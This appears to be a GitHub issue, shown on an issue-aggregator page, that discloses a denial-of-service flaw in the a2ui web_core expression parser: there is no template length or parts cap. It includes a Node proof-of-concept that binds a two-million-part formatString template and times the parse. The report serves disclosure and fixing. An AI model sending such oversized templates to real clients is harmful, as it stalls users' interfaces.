a2ui-project / a2ui-project/a2ui

[BUG]: Expression parser has no template length or parts cap (multi-second parses per binding)

Đang mở
#2,389 1 bình luận 0 reaction 1 người được giao Được @Varun-S10 nhận Xem trên GitHub
P2 status: first-line-handled status: needs review type: bug
Ngôn ngữ chính
TypeScript
Star
16.4k
Fork
1.3k
Merge trung bình
2 ngày 13 giờ
Pull request đã merge (30 ngày)
134

Mô tả

# Expression parser has no template length or parts cap (multi-second parses per binding)

Repository: https://github.com/a2ui-project/a2ui
Affected: `@a2ui/web_core` (verified against published npm release 0.10.6)
CWE: CWE-400 (Uncontrolled Resource Consumption)

## Summary

`ExpressionParser` bounds only recursion *depth* (`MAX_DEPTH = 10`); `parse()` accepts an input of any length and emits any number of `${…}` parts. `formatString` invokes the parser on the agent-supplied template with no bound, so a dynamic property bound to `{call:'formatString', args:{value: '<${x} repeated millions of times>'}}` performs a multi-second parse on initial resolution — and again on every re-resolution of the binding (each data-model change). The missing length/parts bound (present for depth, absent for breadth) is the defect.

## Affected code

- `renderers/web_core/src/v0_9/basic_catalog/expressions/expression_parser.ts` — depth cap only (`MAX_DEPTH = 10`; npm dist `…/expression_parser.js:26,31-69`); no input-length or parts-count limit
- `renderers/web_core/src/v0_9/basic_catalog/functions/basic_functions.ts` — `new ExpressionParser().parse(template)` on the agent-supplied `value`, unbounded (npm dist `…/basic_functions.js:210-211`)

## Observed behavior (measured)

Published package, a TextField `label` bound to `formatString` with a template of N interpolations:

| template | parse cost at bind |
|---|---|
| `hello ${x}` (control) | ~0 ms |
| 2,000,000 `${x}` parts | 978 ms |

Re-fires on every subsequent data-model change of bound paths.

## Impact

One spec-valid binding consumes ~1 s of main-thread time per resolution, repeated on each change — sustained client-side DoS from a single message. Availability only.

## Suggested remediation

- Cap template length and parts count in `ExpressionParser.parse` (reject beyond a threshold).
- Additionally bound `formatString`'s `value` argument length in its Zod schema.

## PoC

Prerequisites: Node ≥ 20 with `@a2ui/web_core@0.10.6` installed. Run `node poc_f25.mjs`; on success it prints a JSON verdict ending in `"confirmed": true` and exits 0.

```js
// poc_f25.mjs — F-25: ExpressionParser.parse has no template length / parts-count
// cap (only depth=10). formatString calls it on a SERVER-CONTROLLED template.
// We bind a TextField `label` to {call:'formatString', args:{value: template}}
// and measure the mount-time resolution. Confirmed if the 2M-part binding takes
// >300 ms vs a 1-part control.
import {
MessageProcessor, ComponentContext, GenericBinder, Catalog,
} from '@a2ui/web_core/v0_9';
import { ColumnApi, TextFieldApi, createBasicCatalogFunctions } from '@a2ui/web_core/v0_9/basic_catalog';
const CATALOG_ID = 'https://a2ui.org/specification/v0_9_1/catalogs/basic/catalog.json';

function setup(template) {
const catalog = new Catalog(CATALOG_ID, [ColumnApi, TextFieldApi], createBasicCatalogFunctions());
const processor = new MessageProcessor([catalog]);
processor.processMessages([
{ version: 'v0.9', createSurface: { surfaceId: 'poc', catalogId: CATALOG_ID } },
{ version: 'v0.9', updateDataModel: { surfaceId: 'poc', path: '/x', value: 'x' } },
{ version: 'v0.9', updateComponents: { surfaceId: 'poc', components: [
{ id: 'root', component: 'Column', children: ['tf'] },
{ id: 'tf', component: 'TextField', label: { call: 'formatString', args: { value: template } }, value: { path: '/x' } },
] } },
]);
return processor.model.getSurface('poc');
}
function timed(template) {
const surface = setup(template);
const ctx = new ComponentContext(surface, 'tf');
const binder = new GenericBinder(ctx, TextFieldApi.schema);
const t0 = process.hrtime.bigint();
const sub = binder.subscribe(() => {});
const ns = Number(process.hrtime.bigint() - t0);
sub.unsubscribe(); binder.dispose(); surface.dispose();
return +(ns / 1e6).toFixed(0);
}
const ctrl = timed('hello ${x}');
const big = timed('${x} '.repeat(2_000_000));
const ok = big > 300 && big > ctrl * 20;
console.log(JSON.stringify({ finding: 'F-25-expression-parser-no-parts-cap', control_1part_ms: ctrl, with_2000000_parts_ms: big, confirmed: ok }, null, 2));
process.exit(ok ? 0 : 1);
```

Hướng dẫn đóng góp

Mở hướng dẫn đóng góp

Hướng nghiên cứu

Examine renderers/web_core/src/v0_9/basic_catalog/expressions/expression_parser.ts to understand the MAX_DEPTH constant and the parse method. Look at basic_functions.ts where formatString calls the parser. The fix involves adding a maximum template length and parts count in the parser, and possibly updating the Zod schema for formatString's value argument. Run the provided PoC script to verify the performance issue and test the fix.

Do mô hình lập chỉ mục viết ra từ nội dung của issue.

Đánh giá

Công nghệ
node.js, typescript
Lĩnh vực
backend-api-design, security
Loại issue
Lỗi
Độ khó
3/5
Thời gian dự kiến
1-2 ngày
Mức độ hoạt động
Sôi nổi
Độ rõ ràng
Đặc tả rõ ràng
Mức phù hợp với người mới
65/100

Nhận issue mới trong hộp thư của bạn

Bản tóm tắt ngắn những issue GitHub phù hợp với người mới.